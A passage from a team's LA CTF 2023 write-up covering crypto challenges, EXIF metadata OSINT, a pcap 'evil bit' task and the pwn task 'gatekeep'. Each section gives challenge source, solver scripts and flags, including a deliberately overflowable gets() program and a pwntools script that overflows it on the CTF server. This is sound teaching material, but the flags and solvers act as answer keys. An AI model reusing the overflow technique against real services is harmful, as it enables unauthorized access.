("ι", "i"), ("τ", "j"),
("κ", "k"), ("λ", "l"),
("μ", "m"), ("ν", "n"),
("ο", "o"), ("π", "p"),
("ρ", "r"), ("η", "q"),
("σ", "s"), ("θ", "t"),
("υ", "u"), ("\\x00", "v"),
("ω", "w"), ("ξ", "x"),
("ψ", "y"), ("ζ", "z")
])
txtFile = "greek.txt"
txt = open(txtFile, 'r').read()
s = str(txt)
cipher = replace_all(s, od)
print(cipher)
```
:::
> output :
```!
kck wpn azpl iqsi hnocnt msgtsr lst zpi iqg dcrti ygrtpz cz qctiprw tntygmigk pd ntcze gzmrwyicpz? jg zgciqgr. kck wpn azpl iqsi hnocnt msgtsr lst yrpxsxow dongzi cz ergga? jg zgciqgr. c ocag qpl ergga mqsrsmigr oppa iqpneq, gugz cd c msz'i rgsk iqgj. osmid{c_engtt_ntcze_jszw_ergga_mqsrsmigrt_kckz'i_tipy_wpn._lgoo_yoswgk_c_jnti_tsw.mpzersit!}
```
After that, I'm using [decode.fr](https://www.dcode.fr/monoalphabetic-substitution) to get **Original Encryption Alphabet** then I put it to solver script.
| Alphabet | Option |
| ------------- | -------------------------- |
| Plain | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| Substitution | SXMKGDEQCHAOJZPYVRTINULBWF |
#### Solver script
:::spoiler Click to show details
```python=
#!/usr/bin/env python3
from collections import OrderedDict
from string import ascii_lowercase
def decrypt(greek, key):
decrypted_str = greek.translate(str.maketrans(key, ascii_lowercase))
return decrypted_str
def replace_all(text, dic):
for i, j in dic.items():
text = text.replace(i, j)
return text
od = OrderedDict([
("α", "a"), ("β", "b"),
("ς", "c"), ("δ", "d"),
("ε", "e"), ("\\x00", "f"),
("γ", "g"), ("χ", "h"),
("ι", "i"), ("τ", "j"),
("κ", "k"), ("λ", "l"),
("μ", "m"), ("ν", "n"),
("ο", "o"), ("π", "p"),
("ρ", "r"), ("η", "q"),
("σ", "s"), ("θ", "t"),
("υ", "u"), ("\\x00", "v"),
("ω", "w"), ("ξ", "x"),
("ψ", "y"), ("ζ", "z")
])
txtFile = "greek.txt"
txt = open(txtFile, 'r').read()
s = str(txt)
cipher = replace_all(s, od)
print(cipher)
key = "SXMKGDEQCHAOJZPYVRTINULBWF".lower()
print()
print(decrypt(cipher, key))
```
:::
:::success
Flag:`lactf{i_guess_using_many_greek_characters_didn't_stop_you._well_played_i_must_say.congrats!}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## crypto/rolling in the mud
uugh, these pigs in my pen are making a complete mess! They're rolling all over the place!
Anyway, can you decode this cipher they gave me, almost throwing it at me while rolling around?
Answer in lowercase with symbols. In the image, { and } are characters that should appear in your flag, and replace spaces with `_`.
Downloads
`cipher.png`
---
#### Analysis

It's look like the pigpen cipher, but if start decoding the symbols it doesn’t make any sense.

The challenge description mentions "rolling" a lot, which suggests that the image is upside-down.

Now we can use the pig pen key to decode the message presented at the beginning of the chapter after "rolling".
This challenge has been solved by my teammates.
#### Solver
Use the parts of the grid associated with each letter.

:::success
Flag:`lactf{rolling_and_rolling_and_rolling_until_the_pigs_go_home}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## crypto/one-more-time-pad
I heard the onetime pad is perfectly secure so I used it to send an important message to a friend, but now a UCLA competition is asking for the key? I threw that out a long time ago! Can you help me recover it?
---
#### Analysis
> chall.py :
:::spoiler Click to show details
```python=
from itertools import cycle
pt = b"Long ago, the four nations lived together in harmony ..."
key = cycle(b"lactf{??????????????}")
ct = ""
for i in range(len(pt)):
b = (pt[i] ^ next(key))
ct += f'{b:02x}'
print("ct =", ct)
#ct = 200e0d13461a055b4e592b0054543902462d1000042b045f1c407f18581b56194c150c13030f0a5110593606111c3e1f5e305e174571431e
```
:::
We are given a `plaintext (pt)` and a `ciphertext (ct)`, which we can simply XOR together to recover the key back referring `b = (pt[i] ^ next(key))`.
My teammates solve it first.
#### Solver script
:::spoiler Click to show details
```python=
pt = b"Long ago, the four nations lived together in harmony ..."
ct = "200e0d13461a055b4e592b0054543902462d1000042b045f1c407f18581b56194c150c13030f0a5110593606111c3e1f5e305e174571431e"
ctspl = ' '.join(ct[i: i+2] for i in range(0, len(ct), 2)).split()
decrypted = ""
for c in range(len(ctspl)):
t = pt[c]
x = int(ctspl[c], 16)
calc = t ^ x
decrypted += chr(calc)
print(decrypted)
```
:::
:::success
Flag:`lactf{b4by_h1t_m3_0ne_m0r3_t1m3}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## crypto/chinese-lazy-theorem-1
I heard about this cool theorem called the Chinese Remainder Theorem, but, uh... I'm feeling kinda tired right now.
`nc lac.tf 31110`
---
#### Analysis
> chinese-lazy-theorem-1.py :
:::spoiler Click to show details
```python=
#!/usr/local/bin/python3
from Crypto.Util.number import getPrime
from Crypto.Random.random import randint
p = getPrime(512)
q = getPrime(512)
n = p*q
target = randint(1, n)
used_oracle = False
print(p)
print(q)
print("To quote Pete Bancini, \"I'm tired.\"")
print("I'll answer one modulus question, that's it.")
while True:
print("What do you want?")
print("1: Ask for a modulus")
print("2: Guess my number")
print("3: Exit")
response = input(">> ")
if response == "1":
if used_oracle:
print("too lazy")
print()
else:
modulus = input("Type your modulus here: ")
modulus = int(modulus)
if modulus <= 0:
print("something positive pls")
print()
else:
used_oracle = True
print(target%modulus)
print()
elif response == "2":
guess = input("Type your guess here: ")
if int(guess) == target:
with open("flag.txt", "r") as f:
print(f.readline())
else:
print("nope")
exit()
else:
print("bye")
exit()
```
:::
After looking option 1 gives us one query of `target%modulus`, we need to determine the value of `target`, which equals `target` if `modulus > target`.
I calculating `p` and `q` to get `n` value, send it as answer to option 1 to get `modulus` value, then send to option 2 to get `flag`.
#### Solver script
:::spoiler Click to show details
```python=
from pwn import *
host = "lac.tf"
r = remote(host, "31110")
p = int(r.recvline().strip().decode())
print('p =',p)
q = int(r.recvline().strip().decode())
print('q =',q)
n = str(p * q)
print('n =',n)
r.sendlineafter(b">> ", b'1')
r.sendlineafter(b"Type your modulus here: ", n.encode())
target = r.recvline().strip().decode()
print('target =',target)
r.sendlineafter(b">> ", b'2')
r.sendlineafter(b"Type your guess here: ", target.encode())
print()
print(r.recvline().decode())
```
:::
:::success
Flag:`lactf{too_lazy_to_bound_the_modulus}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## crypto/hill-easy
I found a cool rock. Help me figure out what it says.
`nc lac.tf 31140`
---
#### Analysis
> chall.py :
:::spoiler Click to show details
```python=
#!/usr/local/bin/python3
import numpy as np
def det(M):
# stolen from https://stackoverflow.com/a/66192895
M = [[int(x) for x in row] for row in M] # make a copy to keep original M unmodified
N, sign, prev = len(M), 1, 1
for i in range(N-1):
if M[i][i] == 0: # swap with another row having nonzero i's elem
swapto = next( (j for j in range(i+1,N) if M[j][i] != 0), None )
if swapto is None:
return 0 # all M[*][i] are zero => zero determinant
M[i], M[swapto], sign = M[swapto], M[i], -sign
for j in range(i+1,N):
for k in range(i+1,N):
assert ( M[j][k] * M[i][i] - M[j][i] * M[i][k] ) % prev == 0
M[j][k] = ( M[j][k] * M[i][i] - M[j][i] * M[i][k] ) // prev
prev = M[i][i]
return sign * M[-1][-1]
n = 20
A = np.random.randint(0, 95, [n, n])
while np.gcd(det(A), 95) != 1:
# ensures invertibility
A = np.random.randint(0, 95, [n, n])
def stov(s):
return np.array([ord(c)-32 for c in s])
def vtos(v):
return ''.join([chr(v[i]+32) for i in range(n)])
def encrypt(s):
return vtos(np.matmul(A, stov(s))%95)
fakeflag = "lactf{" + ''.join([chr(ord('a')+np.random.randint(0,26)) for _ in range(33)]) + "}"
fakeflag2 = "lactf{" + ''.join([chr(ord('a')+np.random.randint(0,26)) for _ in range(33)]) + "}"
assert(len(fakeflag) == 2*n)
assert(len(fakeflag2) == 2*n)
f1 = encrypt(fakeflag[:n])
f2 = encrypt(fakeflag[n:])
f3 = encrypt(fakeflag2[:n])
f4 = encrypt(fakeflag2[n:])
def giveflag():
flag = open("flag.txt", "r").readline().strip()
print("\nThe text on the stone begins to rearrange itself into another message:")
print(flag)
exit(0)
def oracle(guess):
o1 = encrypt(guess[:n])
o2 = encrypt(guess[n:])
if o1 == f1 and o2 == f2:
giveflag()
print("Incorrect:")
print(o1)
print(o2)
def trydecode():
guess = input("\nEnter your guess: ")
if len(guess) != 40:
return 1
for c in guess:
if ord(c) < 32 or ord(c) >= 127:
return 2
oracle(guess)
return 0
def guess(num):
while (err := trydecode()) != 0:
if err == 1:
print("Your guess must be exactly 40 characters.")
elif err == 2:
print("Your guess must use only ASCII characters")
print("You have", 9-num, "attempts left")
print("On the hill lies a stone. It reads:")
print(f1)
print(f2)
print("\nA mysterious figure offers you 10 attempts at decoding the stone:")
for i in range(10):
guess(i)
print("\nThe figure frowns, and turns to leave. In desperation, you beg for one more chance. The figure ponders, then reluctantly agrees to offer you an alternative task.")
print("Create a new stone that decodes to the following:")
print(fakeflag2)
guess1 = input("\nEnter the first half: ")
guess2 = input("\nEnter the second half: ")
if guess1 == f3 and guess2 == f4:
giveflag()
else:
print("Nope.")
```
:::
The encryption of both halves of `fakeflag`, and must have 20 arbitrary encryptions.
If didn’t input the plaintext corresponding to `fakeflag`, then asked to produce an encryption of both halves of `fakeflag2`.
The cipher used is a Hill cipher, which encrypts by matrix multiplication.
My teammates solve this.
#### Solver script
:::spoiler Click to show details
```python=
from pwn import *
import numpy as np
p = remote('lac.tf', 31140)
def stov(s):
return np.array([ord(c)-32 for c in s])
def btov(s):
return np.array([c-32 for c in s])
def vtos(v):
return ''.join([chr(v[i]+32) for i in range(20)])
def encrypt(A, s):
return vtos(np.matmul(A, stov(s))%95)
charsInput = []
for i in range(20):
chars = [' ']*20
chars[i] = '!'
charsInput.append(chars)
guess = []
for i in range(0, 20, 2):
guess.append(''.join(charsInput[i]+charsInput[i+1]))
K = []
for g in guess:
res = p.sendlineafter(b'guess:', g.encode()).split(b'\n')
K.append(res[1])
K.append(res[2])
print(res[1], res[2])
res = p.recvuntil(b'left').split(b'\n')
K.append(res[1])
K.append(res[2])
print(res[1], res[2])
K = K[2:]
matrixKey = []
for k in K:
row = btov(k)
matrixKey.append(row)
matrixKey = np.transpose(np.array(matrixKey))
print(matrixKey)
fakeFlag2 = p.recvuntil(b'}').split(b'\n')[-1:][0]
print(fakeFlag2.decode())
print('first half: ',encrypt(matrixKey,fakeFlag2[:20].decode()))
print('second half: ',encrypt(matrixKey,fakeFlag2[20:].decode()))
first = encrypt(matrixKey,fakeFlag2[:20].decode())
second = encrypt(matrixKey,fakeFlag2[20:].decode())
p.writelineafter(b'Enter the first half:', first.encode())
p.writelineafter(b'Enter the second half:', second.encode())
p.recv()
print(p.recv().decode())
```
:::
> Output:
:::spoiler Click to show details
```
b'u:b By-r$Jc/Zo$*d.R#' b'<^,xi9qMt\\FrWG!>+zL*'
b'Xd{`qJ%3K&sU&Q?:h+<,' b"sj n5AH9>|'eJ,iQliv}"
b"Q.#&pH(K_o[G[0a'^yG|" b'MO1o_x0IYX#]=6.~{!D%'
b',}$C LuM*FoULXXuFH -' b'Z-\'Q1#-\\YJegSJe~z"D-'
b'"p,`.yy%[Lw"y_RV,0JP' b"\\m3!a+u(<z4r3#_h!i'l"
b'x&#B6:.qJ[";HtD4_@4P' b';dL(wAtfS(&kp&Gj3WkY'
b'<_5%Id8>7wp"iz& N8dF' b'g(17D5B9~~5!IerZ8"]x'
b'?6%i~F+-ZP>A9W_Jt_wO' b'[9*xns0x0<_zPMisaijb'
b'ZF:`e7MuC.Do0Cn \\UjV' b' +L8_6>:dc}drx"Ky7QX'
b'^0F$WKp6JNl<X|7Z wb|' b'#-5=Pc_k)3uL\\?2mbC/7'
b'R(YA}yvXwFr+p|DpVPF}' b"'9aK5X45sB0LB#Qpj199"
[[56 83 49 45 12 58 2 60 88 27 28 71 31 59 58 0 62 3 50 7]
[68 74 14 47 93 13 80 77 6 68 63 8 22 25 38 11 16 13 8 25]
[91 0 3 17 4 7 12 19 3 44 21 17 5 10 26 44 38 21 57 65]
[64 78 6 79 35 49 64 1 34 8 5 23 73 88 64 24 4 29 33 43]
[81 21 80 63 0 17 14 65 22 87 41 36 94 78 69 63 55 48 93 21]
[42 33 40 88 44 3 89 11 26 33 68 21 38 83 23 22 43 67 89 56]
[ 5 40 8 16 85 13 89 85 14 84 24 34 11 16 45 30 80 63 86 20]
[19 25 43 41 45 60 5 8 81 70 30 25 13 88 85 26 22 75 56 21]
[43 30 63 57 10 57 59 28 42 51 23 94 58 16 35 68 42 9 87 83]
[ 6 92 79 56 38 42 44 90 59 8 87 94 48 28 14 67 46 19 38 34]
[83 7 59 3 79 69 87 20 2 6 80 21 30 63 36 93 76 85 82 16]
[53 69 39 61 53 71 2 82 27 75 2 1 33 90 79 68 28 44 11 44]
[ 6 42 59 29 44 51 89 19 40 80 73 41 25 48 16 82 56 60 80 34]
[49 12 16 22 56 42 63 3 84 6 90 69 55 45 35 88 92 31 92 3]
[31 73 65 14 56 69 50 63 36 39 6 82 63 73 78 2 23 18 36 49]
[26 49 7 94 85 94 54 72 20 74 0 58 42 83 0 43 58 77 80 80]
[72 76 62 91 38 90 12 1 63 19 46 24 84 65 60 89 0 66 54 74]
[11 73 89 1 40 2 16 73 32 55 24 2 63 73 53 23 87 35 48 17]
[28 86 39 36 0 36 42 7 20 75 68 61 87 74 74 49 66 15 38 25]
[12 93 92 5 13 13 48 76 48 57 38 88 47 66 54 56 92 23 93 25]]
lactf{xwemopbtoixapmvjukjwesemgmmaqgvtk}
first half: 4nf_0cMHT\dE!\PXDe@t
second half: Dx2jR\O$e~7F{/..{]0>
The text on the stone begins to rearrange itself into another message:
lactf{tHeY_SaiD_l!NaLg_wOuLD_bE_fUN_115}
```
:::
:::success
Flag:`lactf{tHeY_SaiD_l!NaLg_wOuLD_bE_fUN_115}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## misc/CATS!
CATS OMG I CAN'T BELIEVE HOW MANY CATS ARE IN THIS IMAGE I NEED TO VISIT CAN YOU FIGURE OUT THE NAME OF THIS CAT HEAVEN?
Answer is the domain of the website for this location. For example, if the answer was ucla, the flag would be lactf{ucla.edu}.
Downloads
`CATS.jpeg`
---
#### Analysis

:::spoiler Click to show details
```!
ExifTool Version Number : 12.50
File Name : CATS.jpeg
Directory : .
File Size : 5.0 MB
File Modification Date/Time : 2023:02:10 14:49:06+07:00
File Access Date/Time : 2023:02:13 05:43:00+07:00
File Inode Change Date/Time : 2023:02:13 05:43:00+07:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
Make : Apple
Camera Model Name : iPhone SE (2nd generation)
Orientation : Rotate 90 CW
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Software : 15.5
Modify Date : 2022:06:17 12:52:05
Host Computer : iPhone SE (2nd generation)
Y Cb Cr Positioning : Centered
Exposure Time : 1/144
F Number : 1.8
Exposure Program : Program AE
ISO : 20
Exif Version : 0232
Date/Time Original : 2022:06:17 12:52:05
Create Date : 2022:06:17 12:52:05
Offset Time : -10:00
Offset Time Original : -10:00
Offset Time Digitized : -10:00
Components Configuration : Y, Cb, Cr, -
Shutter Speed Value : 1/144
Aperture Value : 1.8
Brightness Value : 6.672492018
Exposure Compensation : 0
Metering Mode : Multi-segment
Flash : Off, Did not fire
Focal Length : 4.0 mm
Subject Area : 2013 1511 2217 1330
Run Time Flags : Valid
Run Time Value : 526663128177750
Run Time Scale : 1000000000
Run Time Epoch : 0
Acceleration Vector : -0.06026777624 -0.8702277539 -0.4827761948
Focus Distance Range : 4.05 - 4.54 m
Live Photo Video Index : 575676416
Sub Sec Time Original : 057
Sub Sec Time Digitized : 057
Flashpix Version : 0100
Color Space : Uncalibrated
Exif Image Width : 4032
Exif Image Height : 3024
Sensing Method : One-chip color area
Scene Type : Directly photographed
Exposure Mode : Auto
White Balance : Auto
Focal Length In 35mm Format : 28 mm
Scene Capture Type : Standard
Lens Info : 3.99000001mm f/1.8
Lens Make : Apple
Lens Model : iPhone SE (2nd generation) back camera 3.99mm f/1.8
Composite Image : General Composite Image
GPS Version ID : 2.3.0.0
GPS Map Datum : WGS-84
Compression : JPEG (old-style)
Thumbnail Offset : 2478
Thumbnail Length : 11136
Current IPTC Digest : 50350e5c967628d3532b5317912bff65
Coded Character Set : UTF8
Envelope Record Version : 4
Sub-location : Lanai Cat Sanctuary
Province-State : HI
Country-Primary Location Code : US
Country-Primary Location Name : United States
Application Record Version : 4
XMP Toolkit : Image::ExifTool 12.42
Country Code : US
Location : Lanai Cat Sanctuary
Location Created City : Lanai City
Location Created Country Code : US
Location Created Country Name : United States
Location Created Province State : HI
Location Created Sublocation : Lanai Cat Sanctuary
City : Lanai City
Country : United States
State : HI
Metadata Date : 2023:02:09 15:48:44-08:00
Profile CMM Type : Apple Computer Inc.
Profile Version : 4.0.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 2022:01:01 00:00:00
Profile File Signature : acsp
Primary Platform : Apple Computer Inc.
CMM Flags : Not Embedded, Independent
Device Manufacturer : Apple Computer Inc.
Device Model :
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Apple Computer Inc.
Profile ID : ecfda38e388547c36db4bd4f7ada182f
Profile Description : Display P3
Profile Copyright : Copyright Apple Inc., 2022
Media White Point : 0.96419 1 0.82489
Red Matrix Column : 0.51512 0.2412 -0.00105
Green Matrix Column : 0.29198 0.69225 0.04189
Blue Matrix Column : 0.1571 0.06657 0.78407
Red Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Chromatic Adaptation : 1.04788 0.02292 -0.0502 0.02959 0.99048 -0.01706 -0.00923 0.01508 0.75168
Blue Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Image Width : 4032
Image Height : 3024
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Run Time Since Power Up : 6 days 2:17:43
Aperture : 1.8
Image Size : 4032x3024
Megapixels : 12.2
Scale Factor To 35 mm Equivalent: 7.0
Shutter Speed : 1/144
Create Date : 2022:06:17 12:52:05.057-10:00
Date/Time Original : 2022:06:17 12:52:05.057-10:00
Modify Date : 2022:06:17 12:52:05-10:00
Thumbnail Image : (Binary data 11136 bytes, use -b option to extract)
GPS Latitude : 20 deg 47' 27.52" N
GPS Longitude : 156 deg 57' 50.03" W
GPS Latitude Ref : North
GPS Longitude Ref : West
Circle Of Confusion : 0.004 mm
Field Of View : 65.5 deg
Focal Length : 4.0 mm (35 mm equivalent: 28.0 mm)
GPS Position : 20 deg 47' 27.52" N, 156 deg 57' 50.03" W
Hyperfocal Distance : 2.07 m
Light Value : 11.2
Lens ID : iPhone SE (2nd generation) back camera 3.99mm f/1.8
```
:::
After read the metadata using `exiftool` found the location is `Lanai Cat Sanctuary`, then browse it as keyword to get the domain of website.
#### Solver script
:::spoiler Click to show details
```python=
#!/usr/bin/env python3
from hachoir.parser import createParser
from hachoir.metadata import extractMetadata
from googlesearch import search
filename = 'CATS.jpeg'
parser = createParser(filename)
metadata = extractMetadata(parser)
for line in metadata.exportPlaintext():
print(line)
print()
flag = "lactf{"
term = "Lanai Cat Sanctuary" # keyword from metadata
for j in search(term, num_results=1):
fl = j.strip(r"[https://http://]")
print(flag+fl+'}')
```
:::
:::success
Flag:`lactf{lanaicatsanctuary.org}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## misc/EBE
I was trying to send a flag to my friend over UDP, one character at a time, but it got corrupted! I think someone else was messing around with me and sent extra bytes, though it seems like they actually abided by RFC 3514 for once. Can you get the flag?
Downloads
`EBE.pcap`
---
#### Analysis
This PCAP file contains many UDP packets, following the UDP stream `(Follow > UDP Stream)` showed a bunch of characters.
```!
Lpy5lUKeaVcg3XTtQVftv{Vx_wk4T7ZMKLaaydWM3AO6R8V_1gvLuT6fqeuvxb_sd8ZnqNGSMSu8T8}JDeO8wXQU1ZeJ7_pZE3gCWx}MhJMf1YWVra}SDW8_PBUhXlgYJKcTN767REmwM6wtO4Z6R7QPiV9qJ7In_1UAC45V0wNv6OW{_hDnyXV}lS4w04_m7HQcqt2ZvfcV3qFAd1iWo_LMWQOvE1NOd_HqnZf2uXF9gfEkY51DVcUDQuNduX4RP{J30}czrL8U0s9PuNgF0}0j5063aA4mLdSFm7e08j4c7gUqZb4}
```
This challenge says it "sent extra bytes" and "abided by RFC 3514".
The UDP stream contains unwanted characters, so our task here is to remove them and get the flag.
Some packets had `Reserved Bit: Set` , while some had `Reserved Bit: Not set`.
For example, Packet No. 1 had `Reserved Bit: Set`.
```!
1... .... = Reserved bit: Set
```
Packet No. 5 had `Reserved Bit: Not set`.
```!
0... .... = Reserved bit: Not set
```
While browsing about `RFC3514`, found this [blog](https://blog.benjojo.co.uk/post/evil-bit-RFC3514-real-world-usage) talking about "Evil Bit".
The packets that contain flag should have `Reserved Bit: Not set` , applied `ip.flags.rb == 0` as filter :telescope:.
My teammates solve this and got First blood :1st_place_medal:! :tada:
#### Solver script
:::spoiler Click to show details
```python=
#!/usr/bin/env python3
import pyshark
cap = pyshark.FileCapture("EBE.pcap")
flag = ''
for pkt in cap:
if(pkt['ip']._all_fields['ip.flags.rb'] == '0'):
flag += pkt['udp']._all_fields['udp.payload']
print(bytes.fromhex(flag).decode())
```
:::
:::success
Flag:`lactf{3V1L_817_3xf1l7R4710N_4_7H3_W1N_51D43c8000034d0c}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## pwn/gatekeep
If I gaslight you enough, you won't be able to get my flag! :)
`nc lac.tf 31121`
Note: The attached binary is the exact same as the one executing on the remote server.
Downloads
`Dockerfile` `gatekeep.c` `gatekeep`
---
#### Analysis
> gatekeep.c :
:::spoiler Click to show details
```C=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
void print_flag() {
char flag[256];
FILE* flagfile = fopen("flag.txt", "r");
if (flagfile == NULL) {
puts("Cannot read flag.txt.");
} else {
fgets(flag, 256, flagfile);
flag[strcspn(flag, "\n")] = '\0';
puts(flag);
}
}
int check(){
char input[15];
char pass[10];
int access = 0;
// If my password is random, I can gatekeep my flag! :)
int data = open("/dev/urandom", O_RDONLY);
if (data < 0)
{
printf("Can't access /dev/urandom.\n");
exit(1);
}
else
{
ssize_t result = read(data, pass, sizeof pass);
if (result < 0)
{
printf("Data not received from /dev/urandom\n");
exit(1);
}
}
close(data);
printf("Password:\n");
gets(input);
if(strcmp(input, pass)) {
printf("I swore that was the right password ...\n");
}
else {
access = 1;
}
if(access) {
printf("Guess I couldn't gaslight you!\n");
print_flag();
}
}
int main(){
setbuf(stdout, NULL);
printf("If I gaslight you enough, you won't be able to guess my password! :)\n");
check();
return 0;
}
````
:::
After read the source given, it's classic buffer overflow problem.
How could I determine that? lets take a look, `main()` function will call `check()` function there.
```C=60
int main(){
setbuf(stdout, NULL);
printf("If I gaslight you enough, you won't be able to guess my password! :)\n");
check();
return 0;
}
```
In `check()` function, that the correct password is concatenated from `/dev/urandom`. Found a `gets()` function called for input. That's mean `gets()` reads a line from _stdin_ into the buffer pointed, until either a terminating newline or EOF and it will replaces with a null byte (‘\0’).
There's no check for buffer overrun is performed.
```C=21
int check(){
char input[15];
char pass[10];
int access = 0;
// If my password is random, I can gatekeep my flag! :)
int data = open("/dev/urandom", O_RDONLY);
if (data < 0)
{
printf("Can't access /dev/urandom.\n");
exit(1);
}
else
{
ssize_t result = read(data, pass, sizeof pass);
if (result < 0)
{
printf("Data not received from /dev/urandom\n");
exit(1);
}
}
close(data);
printf("Password:\n");
gets(input);
if(strcmp(input, pass)) {
printf("I swore that was the right password ...\n");
}
else {
access = 1;
}
if(access) {
printf("Guess I couldn't gaslight you!\n");
print_flag();
}
}
```
Running test on local machine
> python3 -c "print(b'A' * 256)"
```!
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
```
> ./gatekeep
```!
If I gaslight you enough, you won't be able to guess my password! :)
Password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
I swore that was the right password ...
Guess I couldn't gaslight you!
Cannot read flag.txt.
Segmentation fault
```
:triangular_flag_on_post: lets try on remote host.
My teammates already solved this first. :joy:
#### Solver script
:::spoiler Click to show details
```python=
#!/usr/bin/env python3
from pwn import *
payload = b"A" * 256
r = remote("lac.tf", 31121)
print(r.writelineafter(b"Password:", payload).decode())
print(r.readall().decode())
```
:::
:::success
Flag:`lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
###### tags: `LACTF` `Writeup` `Documentation`